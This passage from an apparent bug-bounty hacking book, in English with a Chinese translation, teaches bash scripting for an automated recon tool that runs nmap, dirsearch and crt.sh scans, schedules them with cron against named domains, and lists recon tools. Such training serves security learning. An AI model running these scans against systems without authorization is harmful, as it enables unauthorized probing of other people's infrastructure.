接下来，我们需要一种方法来读取每个域参数并对它们进行扫描。让我们使用循环！Bash有两种类型的循环：for循环和while循环。为了我们的目的，for循环更加适用，因为我们已经知道了要循环遍历的值的数量。通常情况下，当你已经拥有一个值列表时，应该使用for循环进行迭代。如果您不确定要循环遍历多少个值，但想要指定执行应该停止的条件，则应该使用while循环。

Here’s the syntax of a for loop in bash. For every item in LIST_OF_VALUES , bash will execute the code between do and done once:

以下是bash中for循环的语法。对于LIST_OF_VALUES 中的每个项，bash将执行do和done之间的代码一次：

for i in LIST_OF_VALUES
do
  DO SOMETHING
done

Now let’s implement our functionality by using a for loop:

现在，让我们使用for循环来实现我们的功能：

1 for i in "${@:$OPTIND:$#}"
do
  # Do the scans for $i
done

We create an array 1 that contains every command line argument, besides the ones that are already parsed by getopts , which stores the index of the first argument after the options it parses into a variable named $OPTIND . The characters $@ represent the array containing all input arguments, while $# is the number of command line arguments passed in. "${@:OPTIND:}" slices the array so that it removes the MODE argument, like nmap-only , making sure that we iterate through only the domains part of our input. Array slicing is a way of extracting a subset of items from an array. In bash, you can slice arrays by using this syntax (note that the quotes around the command are necessary):

我们创建一个数组1，其中包含每个命令行参数，除了那些已经被getopts解析的参数。getopts将解析选项后的第一个参数的索引存储在一个名为$ OPTIND的变量中。$@代表包含所有输入参数的数组，而$＃是传递的命令行参数的数量。“$ { @: OPTIND：}”对数组进行切片，以便删除MODE参数（如nmap-only），确保我们只迭代输入的域部分。数组切片是一种从数组中提取子集的方法。在bash中，可以使用以下语法切片数组（注意，必须使用命令周围的引号）：

"${INPUT_ARRAY:START_INDEX:END_INDEX}"

The $i variable represents the current item in the argument array. We can then wrap the loop around the code:

$i变量代表参数数组中的当前项。然后我们可以在代码周围包装循环:

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
nmap_scan()
{
  nmap $DOMAIN > $DIRECTORY/nmap
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{
  curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt
  echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
getopts "m:" OPTION
MODE=$OPTARG

for i in "${@:$OPTIND:$#}" 1
do

  DOMAIN=$i
  DIRECTORY=${DOMAIN}_recon
  echo "Creating directory $DIRECTORY."
  mkdir $DIRECTORY

  case $MODE in
    nmap-only)
      nmap_scan
      ;;
    dirsearch-only)
      dirsearch_scan
      ;;
    crt-only)
      crt_scan
      ;;
    *)
      nmap_scan
      dirsearch_scan
      crt_scan
      ;;
  esac
  echo "Generating recon report for $DOMAIN..."
  TODAY=$(date)
  echo "This scan was created on $TODAY" > $DIRECTORY/report
    if [ -f $DIRECTORY/nmap ];then 2
    echo "Results for Nmap:" >> $DIRECTORY/report
    grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report
  fi
    if [ -f $DIRECTORY/dirsearch ];then 3
    echo "Results for Dirsearch:" >> $DIRECTORY/report
    cat $DIRECTORY/dirsearch >> $DIRECTORY/report
  fi
    if [ -f $DIRECTORY/crt ];then 4
    echo "Results for crt.sh:" >> $DIRECTORY/report
    jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report
  fi
  done 5

The for loop starts with the for keyword 1 and ends with the done keyword 5 . Notice that we also added a few lines in the report section to see if we need to generate each type of report. We check whether the output file of an Nmap scan, a Dirsearch scan, or a crt.sh scan exist so we can determine if we need to generate a report for that scan type 2 3 4 .

for循环从for关键字1开始，到done关键字5结束。请注意，我们还在报告部分添加了一些行，以查看是否需要生成每种类型的报告。我们检查Nmap扫描，Dirsearch扫描或crt.sh扫描的输出文件是否存在，以便确定我们是否需要为该扫描类型生成报告。

The brackets around a condition mean that we’re passing the contents into a test command: [ -f $DIRECTORY/nmap ] is equivalent to test -f $DIRECTORY/nmap .

条件周围的括号表示我们将内容传递到测试命令中：[ -f $DIRECTORY/nmap ] 等同于 test -f $DIRECTORY/nmap。

The test command evaluates a conditional and outputs either true or false . The -f flag tests whether a file exists. But you can test for more conditions! Let’s go through some useful test conditions. The -eq and - ne flags test for equality and inequality, respectively. This returns true if $3 is equal to 1 :

测试命令评估一个条件并输出真或假。-f 标志测试文件是否存在。但您可以测试更多的条件！让我们来看看一些有用的测试条件。-eq 和 -ne 标志分别测试相等和不相等。如果 $3 等于1，则返回 true：

if [ $3 -eq 1 ]

This returns true if $3 is not equal to 1 :

这个语句返回 true 如果 3 不等于 1。

if [ $3 -ne 1 ]

The -gt , -ge , -lt , and le flags test for greater than, greater than or equal to, less than, and less than or equal to, respectively:

'-gt'表示大于，'-ge'表示大于或等于，'-lt'表示小于，'le'表示小于或等于。

if [ $3 -gt 1 ]
if [ $3 -ge 1 ]
if [ $3 -lt 1 ]
if [ $3 -le 1 ]

The -z and -n flags test whether a string is empty. These conditions are both true:

"-z和-n标志测试字符串是否为空。这些条件都是真的:"

if [ -z "" ]
if [ -n "abc" ]

The -d , -f , -r , -w , and -x flags check for directory and file statuses. You can use them to check the existence and permissions of a file before your shell script operates on them. For instance, this command returns true if /bin is a directory that exists:

-d、-f、-r、-w 和 -x 标记检查目录和文件状态。您可以使用它们在 shell 脚本操作文件之前检查文件的存在和权限。例如，如果 /bin 是一个存在的目录，这个命令返回 true：

if [ -d /bin]

This one returns true if /bin/bash is a file that exists:

如果/bin/bash是存在的文件，则返回true。

if [ -f /bin/bash ]

And this one returns true if /bin/bash is a readable file:

如果/bin/bash是可读文件，则此命令将返回true。

if [ -r /bin/bash ]

or a writable file:

或者可写入的文件：

if [ -w /bin/bash ]

or an executable file:

或一个可执行文件：

if [ -x /bin/bash ]

You can also use && and || to combine test expressions. This command returns true if both expressions are true:

您也可以使用&&和||来组合测试表达式。如果两个表达式都为真，则此命令将返回true。

if [ $3 -gt 1 ] && [ $3 -lt 3 ]

And this one returns true if at least one of them is true:

如果其中至少有一个为真，则返回true。

if [ $3 -gt 1 ] || [ $3 -lt 0 ]

You can find more comparison flags in the test command’s manual by running man test . (If you aren’t sure about the commands you’re using, you can always enter man followed by the command name in the terminal to access the command’s manual file.)

如果您对正在使用的命令不确定，可以在终端输入 man 跟随命令名称来访问命令的说明文件，您可以在测试命令的手册中找到更多的比较标志，通过运行 man test。

Writing a Function Library

As your codebase gets larger, you should consider writing a function library to reuse code. We can store all the commonly used functions in a separate file called scan.lib . That way, we can call these functions as needed for future recon tasks:

随着代码库越来越庞大，您应该考虑编写函数库以重用代码。我们可以将所有常用的函数存储在一个名为scan.lib的单独文件中。这样，我们就可以根据未来的勘察任务需要随时调用这些函数。

#!/bin/bash
nmap_scan()
{
  nmap $DOMAIN > $DIRECTORY/nmap
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{
  curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt
  echo "The results of cert parsing is stored in $DIRECTORY/crt."
}

In another file, we can source the library file in order to use all of its functions and variables. We source a script via the source command, followed by the path to the script:

在另一个文件中，我们可以通过调用库文件来使用它的所有函数和变量。我们可以通过source命令，后面跟着脚本的路径，来调用脚本文件。

#!/bin/bash
source ./scan.lib
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
getopts "m:" OPTION
MODE=$OPTARG
for i in "${@:$OPTIND:$#}"
do
  DOMAIN=$i
  DIRECTORY=${DOMAIN}_recon
  echo "Creating directory $DIRECTORY."
  mkdir $DIRECTORY
  case $MODE in
    nmap-only)
      nmap_scan
      ;;
    dirsearch-only)
      dirsearch_scan
      ;;
    crt-only)
      crt_scan
      ;;
    *)
      nmap_scan
      dirsearch_scan
      crt_scan
      ;;
  esac
  echo "Generating recon report for $DOMAIN..."
  TODAY=$(date)
  echo "This scan was created on $TODAY" > $DIRECTORY/report
  if [ -f $DIRECTORY/nmap ];then
    echo "Results for Nmap:" >> $DIRECTORY/report
    grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report
  fi
  if [ -f $DIRECTORY/dirsearch ];then
    echo "Results for Dirsearch:" >> $DIRECTORY/report
    cat $DIRECTORY/dirsearch >> $DIRECTORY/report
  fi
  if [ -f $DIRECTORY/crt ];then
    echo "Results for crt.sh:" >> $DIRECTORY/report
    jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report
  fi
done

Using a library can be super useful when you’re building multiple tools that require the same functionalities. For example, you might build multiple networking tools that all require DNS resolution. In this case, you can simply write the functionality once and use it in all of your tools.

使用库可以在构建多个需要相同功能的工具时非常有用。例如，您可能会构建多个网络工具，它们都需要DNS解析。在这种情况下，您只需编写一次功能，然后在所有工具中使用它。

Building Interactive Programs

What if you want to build an interactive program that takes user input during execution? Let’s say that if users enter the command line option, -i , you want the program to enter an interactive mode that allows you to specify domains to scan as you go:

如果您想建立一个交互式程序，在执行期间接受用户输入怎么办？假设用户输入命令行选项 -i，则希望该程序进入交互模式，允许您按需指定要扫描的域：

./recon.sh -i -m nmap-only

For that, you can use read . This command reads user input and stores the input string into a variable:

为此，您可以使用read命令。该命令读取用户输入并将输入字符串存储到变量中：

echo "Please enter a domain!"
read $DOMAIN

These commands will prompt the user to enter a domain, then store the input inside a variable named $DOMAIN .

这些命令会提示用户输入域名，并将输入存储在名为$DOMAIN的变量中。

To prompt a user repeatedly, we need to use a while loop, which will keep printing the prompt asking for an input domain until the user exits the program. Here’s the syntax of a while loop. As long as the CONDITION is true, the while loop will execute the code between do and done repeatedly:

要重复提示用户，我们需要使用while循环，它将不断打印提示以要求输入域，直到用户退出程序。以下是while循环的语法。只要条件为真，则while循环将在do和done之间重复执行代码。

while CONDITION
do
  DO SOMETHING
done

We can use a while loop to repeatedly prompt the user for domains until the user enters quit :

我们可以使用while循环来重复提示用户输入域名，直到用户输入quit为止。

while [ $INPUT != "quit" ];do
  echo "Please enter a domain!"
  read INPUT
  if [ $INPUT != "quit" ];then
    scan_domain $INPUT
    report_domain $INPUT
  fi
done

We also need a way for users to actually invoke the -i option, and our getopts command isn’t currently doing that. We can use a while loop to parse options by using getopts repeatedly:

我们还需要一种让用户实际调用“-i”选项的方法，而目前我们的getopts命令还没有实现这一点。我们可以使用while循环，通过重复使用getopts来解析选项。

while getopts "m:i" OPTION; do
  case $OPTION in
    m)
        MODE=$OPTARG
        ;;
    i)
        INTERACTIVE=true
        ;;
  esac
done

Here, we specify a while loop that gets command line options repeatedly. If the option flag is -m , we set the MODE variable to the scan mode that the user has specified. If the option flag is -i , we set the $INTERACTIVE variable to true . Then, later in the script, we can decide whether to invoke the interactive mode by checking the value of the $INTERACTIVE variable. Putting it all together, we get our final script:

在这里，我们指定一个while循环，重复获取命令行选项。如果选项标志是“-m”，我们将MODE变量设置为用户指定的扫描模式。如果选项标志是“-i”，我们将$INTERACTIVE变量设置为true。然后，在脚本的后面，我们可以通过检查$INTERACTIVE变量的值来决定是否调用交互模式。把它全部结合起来，我们得到了最终的脚本：

#!/bin/bash
source ./scan.lib

while getopts "m:i" OPTION; do
  case $OPTION in
    m)
      MODE=$OPTARG
      ;;
    i)
      INTERACTIVE=true
      ;;
  esac
done

scan_domain(){
  DOMAIN=$1
  DIRECTORY=${DOMAIN}_recon
  echo "Creating directory $DIRECTORY."
  mkdir $DIRECTORY
  case $MODE in
    nmap-only)
      nmap_scan
      ;;
    dirsearch-only)
      dirsearch_scan
      ;;
    crt-only)
      crt_scan
      ;;
    *)
      nmap_scan
      dirsearch_scan
      crt_scan
      ;;
  esac
}
report_domain(){
  DOMAIN=$1
  DIRECTORY=${DOMAIN}_recon
  echo "Generating recon report for $DOMAIN..."
 TODAY=$(date)
  echo "This scan was created on $TODAY" > $DIRECTORY/report
  if [ -f $DIRECTORY/nmap ];then
   echo "Results for Nmap:" >> $DIRECTORY/report
    grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report
  fi
  if [ -f $DIRECTORY/dirsearch ];then
    echo "Results for Dirsearch:" >> $DIRECTORY/report
    cat $DIRECTORY/dirsearch >> $DIRECTORY/report
  fi
  if [ -f $DIRECTORY/crt ];then
    echo "Results for crt.sh:" >> $DIRECTORY/report
    jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report
  fi
}
if [ $INTERACTIVE ];then 1
  INPUT="BLANK"
  while [ $INPUT != "quit" ];do 2
    echo "Please enter a domain!"
    read INPUT
    if [ $INPUT != "quit" ];then 3
      scan_domain $INPUT
      report_domain $INPUT
    fi
  done
else
  for i in "${@:$OPTIND:$#}";do
    scan_domain $i
    report_domain $i

  done
fi

In this program, we first check if the user has selected the interactive mode by specifying the -i option 1 . We then repeatedly prompt the user for a domain by using a while loop 2 . If the user input is not the keyword quit , we assume that they entered a target domain, so we scan and produce a report for that domain. The while loop will continue to run and ask the user for domains until the user enters quit , which will cause the while loop to exit and the program to terminate 3 .

在此程序中，我们首先检查用户是否通过指定 -i 选项选择交互模式。接着，我们使用 while 循环重复提示用户输入域名。如果用户输入不是 quit 关键字，则假定他们输入了目标域名，因此我们会扫描并为该域名生成报告。while 循环将继续运行并要求用户输入域名，直到用户输入 quit，这将导致 while 循环退出并终止程序。

Interactive tools can help your workflow operate more smoothly. For example, you can build testing tools that will let you choose how to proceed based on preliminary results.

交互工具可以帮助你的工作流程更加顺畅。例如，你可以构建测试工具，根据初步结果选择如何继续操作。

Using Special Variables and Characters

You’re now equipped with enough bash knowledge to build many versatile tools. This section offers more tips that concern the particularities of shell scripts.

你现在掌握了足够的 Bash 知识，可以构建许多多功能工具。本节提供更多有关 shell 脚本的特殊提示。

In Unix, commands return 0 on success and a positive integer on failure. The variable $? contains the exit value of the last command executed. You can use these to test for execution successes and failures:

在Unix中，命令成功执行会返回0，失 败则返回正整数。变量$？包含最后一个执行的命令的退出值。您可以使用这些值来测试执行的成功或失败情况：

#!/bin/sh
chmod 777 script.sh
if [ "$?" -ne "0" ]; then
  echo "Chmod failed. You might not have permissions to do that!"
fi

Another special variable is $$ , which contains the current process’s ID. This is useful when you need to create temporary files for the script. If you have multiple instances of the same script or program running at the same time, each might need its own temporary files. In this case, you can create temporary files named /tmp/script_name_$$ for every one of them.

另一个特殊的变量是$$，它包含当前进程的ID。当您需要为脚本创建临时文件时，这非常有用。如果您同时运行同一脚本或程序的多个实例，每个实例可能都需要自己的临时文件。在这种情况下，您可以为它们中的每一个创建名为/tmp/script_name_$$的临时文件。

Remember that we talked about variable scopes in shell scripts earlier in this chapter? Variables that aren’t input parameters are global to the entire script. If you want other programs to use the variable as well, you need to export the variable:

在本章早些时候我们讨论过shell脚本中的变量作用域。如果变量不是输入参数，则对整个脚本都是全局的。如果您希望其他程序也使用该变量，您需要导出该变量：

export VARIABLE_NAME=VARIABLE_VALUE

Let’s say that in one of your scripts you set the variable VAR :

假设在您的脚本中设置了变量VAR：

VAR="hello!"

If you don’t export it or source it in another script, the value gets destroyed after the script exits. But if you export VAR in the first script and run that script before running a second script, the second script will be able to read VAR ’s value.

如果您在脚本中不会导出或在另一个脚本中引用它，值将在脚本退出后被销毁。但是，如果您在第一个脚本中导出VAR并在运行第二个脚本之前运行该脚本，则第二个脚本将能够读取VAR的值。

You should also be aware of special characters in bash. In Unix, the wildcard character * stands for all . For example, this command will print out all the filenames in the current directory that have the file extension .txt :

你也需要注意bash中的特殊字符。在Unix中，通配符*代表所有。例如，这个命令将打印当前目录中所有具有文件扩展名.txt的文件名：

$ ls *.txt

Backticks ( ` ) indicate command substitution. You can use both backticks and the $() command substitution syntax mentioned earlier for the same purpose. This echo command will print the output of the whoami command:

反引号（`）表示命令替换。您可以同时使用反引号和$（）命令替换语法来达到相同的目的。这个echo命令将打印出whoami命令的输出：

echo `whoami`

Most special characters, like the wildcard character or the single quote, aren’t interpreted as special when they are placed in double quotes. Instead, they’re treated as part of a string. For example, this command will echo the string "abc '*' 123" :

大多数特殊字符（例如通配符或单引号）在双引号中使用时不会被解释为特殊字符，而是被视为字符串的一部分。例如，这个命令将回显字符串 "abc '*' 123"。

$ echo "abc '*' 123"

Another important special character is the backslash ( \ ), the escape character in bash. It tells bash that a certain character should be interpreted literally, and not as a special character.

另一个重要的特殊字符是反斜杠（\），是bash中的转义字符。它告诉bash应该将某些字符解释为字面意思，而不是特殊字符。

Certain special characters, like double quotes, dollar sign, backticks, and backslashes remain special even within double quotes, so if you want bash to treat them literally, you have to escape them by using a backslash:

特定的特殊字符，比如双引号、美元符号、反引号和反斜杠，即使在双引号内部仍然保持特殊，所以如果想要让bash将它们按字面含义处理，你需要使用反斜杠来转义它们：

$ echo "\" is a double quote. \$ is a dollar sign. \` is a backtick. \\ is a backslash."

This command will echo:

"这个指令将会回显："

" is a double quote. $ is a dollar sign. ` is a backtick. \ is a backslash.

You can also use a backslash before a newline to indicate that the line of code has not ended. For example, this command

你也可以在换行符之前使用反斜杠，以表示该行代码未结束。例如，这个命令。

chmod 777 \
script.sh

is the same as this one:

与这个相同：

chmod 777 script.sh

Congratulations! You can now write bash scripts. Bash scripting may seem scary at first, but once you’ve mastered it, it will be a powerful addition to your hacking arsenal. You’ll be able to perform better recon, conduct more efficient testing, and have a more structured hacking workflow.

恭喜您！现在您已经可以编写Bash脚本了。Bash脚本在一开始可能会让人感到害怕，但一旦掌握它，它将成为您黑客工具箱中强大的工具。您将能够执行更好的侦察，进行更有效的测试，并拥有更有结构的黑客工作流程。

If you plan on implementing a lot of automation, it’s a good idea to start organizing your scripts from the start. Set up a directory of scripts and sort your scripts by their functionality. This will become the start of developing your own hacking methodology. When you’ve collected a handful of scripts that you use on a regular basis, you can use scripts to run them automatically. For example, you might categorize your scripts into recon scripts, fuzzing scripts, automated reporting, and so on. This way, every time you find a script or tool you like, you can quickly incorporate it into your workflow in an organized fashion.

如果您计划实施大量自动化，最好从一开始就开始组织您的脚本。建立一个脚本目录，并根据功能对脚本进行分类。这将成为开发自己的黑客方法论的开始。当您收集了一些经常使用的脚本时，可以使用脚本自动运行它们。例如，您可以将脚本分类为侦察脚本，模糊测试脚本，自动报告等。这样，每当您发现自己喜欢的脚本或工具时，都可以以有组织的方式快速将其纳入您的工作流程中。

Scheduling Automatic Scans

Now let’s take your automation to the next level by building an alert system that will let us know if something interesting turns up in our scans. This saves us from having to run the commands manually and comb through the results over and over again.

现在，让我们把你的自动化技术提升到新的水平，构建一个警报系统，让我们知道如果在我们的扫描中出现有趣的内容，这将使我们免于手动运行命令和一遍又一遍地浏览结果的麻烦。

We can use cron jobs to schedule our scans. Cron is a job scheduler on Unix-based operating systems. It allows you to schedule jobs to run periodically. For example, you can run a script that checks for new endpoints on a particular site every day at the same time. Or you can run a scanner that checks for vulnerabilities on the same target every day. This way, you can monitor for changes in an application’s behavior and find ways to exploit it.

我们可以使用cron作业来计划我们的扫描。Cron是Unix基础操作系统上的作业调度程序。它允许您定期运行作业。例如，您可以每天在同一时间运行检查特定站点上新端点的脚本。或者您可以每天运行检查同一目标漏洞的扫描程序。通过这种方式，您可以监视应用行为的变化并找到对其进行利用的方法。

You can configure Cron’s behavior by editing files called crontabs . Unix keeps different copies of crontabs for each user. Edit your own user’s crontab by running the following:

你可以通过编辑名为crontabs的文件来配置Cron的行为。Unix为每个用户保留不同的crontabs副本。 运行以下命令来编辑你自己用户的crontab：

crontab -e

All crontabs follow this same syntax:

所有的cron表达式都遵循相同的语法：

A B C D E command_to_be_executed
A: Minute (0 – 59)
B: Hour (0 – 23)
C: Day (1 – 31)
D: Month (1 – 12)
E: Weekday (0 – 7) (Sunday is 0 or 7, Monday is 1...)

Each line specifies a command to be run and the time at which it should run, using five numbers. The first number, from 0 to 59, specifies the minute when the command should run. The second number specifies the hour, and ranges from 0 to 23. The third and fourth numbers are the day and month the command should run. And the last number is the weekday when the command should run, which ranges from 0 to 7. Both 0 and 7 mean that the command should run on Sundays; 1 means the command should run on Mondays; and so on.

每行都指定要运行的命令以及它应该运行的时间，使用五个数字。第一个数字从0到59，指定命令应该运行的分钟。第二个数字指定小时数，范围从0到23。第三和第四个数字是命令应该运行的日期和月份。最后一个数字是命令应该运行的星期几，范围从0到7。0和7都表示命令应该在星期天运行。1表示命令应该在星期一运行，依此类推。

For example, you can add this line to your crontab to run your recon script every day at 9:30 PM :

例如，您可以将以下行添加到您的crontab中，每天晚上9点30分运行您的recon脚本：

30 21 * * * ./scan.sh

You can also batch-run the scripts within directories. The run-parts command in crontabs tells Cron to run all the scripts stored in a directory. For example, you can store all your recon tools in a directory and scan your targets periodically. The following line tells Cron to run all scripts in my security directory every day at 9:30 PM :

您还可以批量运行目录中的脚本。crontab 中的 run-parts 命令告诉 Cron 运行目录中存储的所有脚本。例如，您可以将所有的侦察工具存储在一个目录中，并定期扫描您的目标。下面的命令告诉 Cron 每天晚上 9:30 运行我安全目录中的所有脚本：

30 21 * * * run-parts /Users/vickie/scripts/security

Next, git diff is a command that outputs the difference between two files. You need to install the Git program to use it. You can use git diff to compare scan results at different times, which quickly lets you see if the target has changed since you last scanned it:

`git diff`是一个命令，用于输出两个文件之间的差异。要使用它，您需要安装Git程序。您可以使用`git diff`比较不同时间的扫描结果，这将快速让您了解目标自上次扫描以来是否有更改：

git diff SCAN_1 SCAN_2

This will help you identify any new domains, subdomains, endpoints, and other new assets of a target. You could write a script like this to notify you of new changes on a target every day:

这将帮助您识别目标的任何新域名、子域名、终端点和其他新资产。您可以编写如下脚本，每天通知您目标的新变化：

#!/bin/bash
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Checking for new changes about the target: $DOMAIN.\n Found these new things."
git diff <SCAN AT TIME 1> <SCAN AT TIME 2>

And schedule it with Cron:

"使用Cron安排它："

30 21 * * * ./scan_diff.sh facebook.com

These automation techniques have helped me quickly find new JavaScript files, endpoints, and functionalities on targets. I especially like to use this technique to discover subdomain takeover vulnerabilities automatically. We’ll talk about subdomain takeovers in Chapter 20 .

这些自动化技巧帮助我快速在目标上找到新的JavaScript文件、端点和功能。我特别喜欢使用这种技术自动发现子域接管漏洞。我们将在第20章讨论子域接管问题。

Alternatively, you can use GitHub to track changes. Set up a repository to store your scan results at https://github.com/new/ . GitHub has a Notification feature that will tell you when significant events on a repository occur. It’s located at Settings ▶ Notifications on each repository’s page. Provide GitHub with an email address that it will use to notify you about changes. Then, in the directory where you store scan results, run these commands to initiate git inside the directory:

或者，您可以使用GitHub来跟踪更改。 在https://github.com/new/上设置一个存储您的扫描结果的存储库。 GitHub具有通知功能，可以在存储库上发生重要事件时告诉您。 它位于每个存储库页面的“设置▶Notifications”下。 向GitHub提供一个电子邮件地址，以便它会使用它来通知您有关更改的信息。 然后，在存储扫描结果的目录中运行以下命令以初始化目录内的git：

git init
git remote add origin https://PATH_TO_THE_REPOSITORY

Lastly, use Cron to scan the target and upload the files to GitHub periodically:

最后，使用Cron定期扫描目标并上传文件到GitHub。

30 21 * * * ./recon.sh facebook.com
40 21 * * * git add *; git commit -m "new scan"; git push -u origin master

GitHub will then send you an email about the files that changed during the new scan.

GitHub随后会向您发送一封有关新扫描中更改的文件的电子邮件。

A Note on Recon APIs

Many of the tools mentioned in this chapter have APIs that allow you to integrate their services into your applications and scripts. We’ll talk about APIs more in Chapter 24 , but for now, you can think of APIs as endpoints you can use to query a service’s database. Using these APIs, you can query recon tools from your script and add the results to your recon report without visiting their sites manually.

本章提到的很多工具都有API，可以让你将它们的服务集成到你的应用和脚本中。我们会在第24章更深入地介绍API，但现在你可以将它们看作是你可以用来查询服务数据库的端点。使用这些API，你可以从你的脚本中查询反侦察工具，并将结果添加到你的反侦察报告中，而不需要手动访问它们的网站。

For example, Shodan has an API ( https://developer.shodan.io/ ) that allows you to query its database. You can access a host’s scan results by accessing this URL: https://api.shodan.io/shodan/host/{ip}?key={YOUR_API_KEY} . You could configure your bash script to send requests to this URL and parse the results . LinkedIn also has an API ( https://www.linkedin.com/developers/ ) that lets you query its database. For example, you can use this URL to access information about a user on LinkedIn: https://api.linkedin.com/v2/people/{PERSON ID}. The Censys API ( https://censys.io/api ) allows you to access certificates by querying the endpoint https://censys.io/api/v1 .

例如，Shodan具有API（https://developer.shodan.io/），可以让您查询其数据库。您可以通过访问此URL: https://api.shodan.io/shodan/host/{ip}?key={YOUR_API_KEY}来访问主机的扫描结果。您可以配置Bash脚本以向此URL发送请求并解析结果。 LinkedIn还具有API（https://www.linkedin.com/developers/），可让您查询其数据库。例如，您可以使用此URL来访问LinkedIn上用户的信息：https://api.linkedin.com/v2/people/{PERSON ID}。 Censys API（https://censys.io/api）允许您通过查询端点https://censys.io/api/v1来访问证书。

Other tools mentioned in this chapter, like BuiltWith, Google search, and GitHub search, all have their own API services. These APIs can help you discover assets and content more efficiently by integrating third-party tools into your recon script. Note that most API services require you to create an account on their website to obtain an API key , which is how most API services authenticate their users. You can find information about how to obtain the API keys of popular recon services at https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys/ .

本章提到的其他工具，如BuiltWith、Google搜索和GitHub搜索，都有自己的API服务。 这些API可以通过将第三方工具集成到您的搜寻脚本中，帮助您更有效地发现资产和内容。请注意，大多数API服务都需要您在其网站上创建帐户以获取API密钥，这是大多数API服务对其用户进行身份验证的方式。您可以在https://github.com/lanmaster53/recon-ng-marketplace/wiki/API-Keys/中找到有关如何获取流行搜寻服务API密钥的信息。

Start Hacking!

Now that you’ve conducted extensive reconnaissance, what should you do with the data you’ve collected? Plan your attacks by using the information you’ve gathered! Prioritize your tests based on the functionality of the application and its technology.

既然你已经进行了广泛的侦察，那么你应该如何处理收集到的数据呢？利用你所收集的信息来规划攻击计划吧！根据应用程序的功能和技术优先安排测试。

For example, if you find a feature that processes credit card numbers, you could first look for vulnerabilities that might leak the credit card numbers, such as IDORs ( Chapter 10 ). Focus on sensitive features such as credit cards and passwords, because these features are more likely to contain critical vulnerabilities. During your recon, you should be able to get a good idea of what the company cares about and the sensitive data it’s protecting. Go after those specific pieces of information throughout your bug-hunting process to maximize the business impact of the issues you discover. You can also focus your search on bugs or vulnerabilities that affect that particular tech stack you uncovered, or on elements of the source code you were able to find.

例如，如果您找到一个处理信用卡号码的功能，您可以首先寻找可能泄露信用卡号码的漏洞，比如IDOR（第10章）。专注于敏感特性，如信用卡和密码，因为这些特性更有可能包含关键漏洞。在您的侦查过程中，您应该能够了解公司关心什么以及它正在保护的敏感数据。在您的漏洞测试过程中，专注于这些特定的信息，以最大化您发现问题的业务影响。您还可以将搜索重点放在影响您发现的特定技术堆栈的漏洞或漏洞，或者源代码的某些元素上。

And don’t forget, recon isn’t a one-time activity. You should continue to monitor your targets for changes. Organizations modify their system, technologies, and codebase constantly, so continuous recon will ensure that you always know what the attack surface looks like. Using a combination of bash, scheduling tools, and alerting tools, build a recon engine that does most of the work for you.

不要忘了，侦察不是一次性活动。您应该继续监视您的目标以便发现变化。组织会不断修改其系统、技术和代码库，所以持续性的侦察可以确保您始终知道攻击面的情况。使用一系列的bash、调度工具和警报工具，构建一个侦察引擎，它可以为您完成大部分工作。

Tools Mentioned in This Chapter

In this chapter, I introduced many tools you can use in your recon process. Many more good tools are out there. The ones mentioned here are merely my personal preferences. I’ve included them here in chronological order for your reference.

在这一章中，我介绍了许多您可以在侦查过程中使用的工具。还有更多好的工具在市场上。这里提到的只是我个人的偏好。我按照时间顺序将它们列在这里供您参考。

Be sure to learn about how these tools work before you use them! Understanding the software you use allows you to customize it to fit your workflow.

在使用这些工具之前一定要了解它们的工作原理！了解你使用的软件可以让你根据自己的工作流程进行定制。

Scope Discovery

WHOIS looks for the owner of a domain or IP.

ViewDNS.info reverse WHOIS ( https://viewdns.info/reversewhois/ ) is a tool that searches for reverse WHOIS data by using a keyword.

nslookup queries internet name servers for IP information about a host.

ViewDNS reverse IP ( https://viewdns.info/reverseip/ ) looks for domains hosted on the same server, given an IP or domain.

crt.sh ( https://crt.sh/ ), Censys ( https://censys.io/ ), and Cert Spotter ( https://sslmate.com/certspotter/ ) are platforms you can use to find certificate information about a domain.

Sublist3r ( https://github.com/aboul3la/Sublist3r/ ), SubBrute ( https://github.com/TheRook/subbrute/ ), Amass ( https://github.com/OWASP/Amass/ ), and Gobuster ( https://github.com/OJ/gobuster/ ) enumerate subdomains.

Daniel Miessler’s SecLists ( https://github.com/danielmiessler/SecLists/ ) is a list of keywords that can be used during various phases of recon and hacking. For example, it contains lists that can be used to brute-force subdomains and filepaths.

Commonspeak2 ( https://github.com/assetnote/commonspeak2/ ) generates lists that can be used to brute-force subdomains and filepaths using publicly available data.

Altdns ( https://github.com/infosec-au/altdns ) brute-forces subdomains by using permutations of common subdomain names.

Nmap ( https://nmap.org/ ) and Masscan ( https://github.com/robertdavidgraham/masscan/ ) scan the target for open ports.

Shodan ( https://www.shodan.io/ ), Censys ( https://censys.io/ ), and Project Sonar ( https://www.rapid7.com/research/project-sonar/ ) can be used to find services on targets without actively scanning them.

Dirsearch ( https://github.com/maurosoria/dirsearch/ ) and Gobuster ( https://github.com/OJ/gobuster ) are directory brute-forcers used to find hidden filepaths.

EyeWitness ( https://github.com/FortyNorthSecurity/EyeWitness/ ) and Snapper ( https://github.com/dxa4481/Snapper/ ) grab screenshots of a list of URLs. They can be used to quickly scan for interesting pages among a list of enumerated paths.

OWASP ZAP ( https://owasp.org/www-project-zap/ ) is a security tool that includes a scanner, proxy, and much more. Its web spider can be used to discover content on a web server.

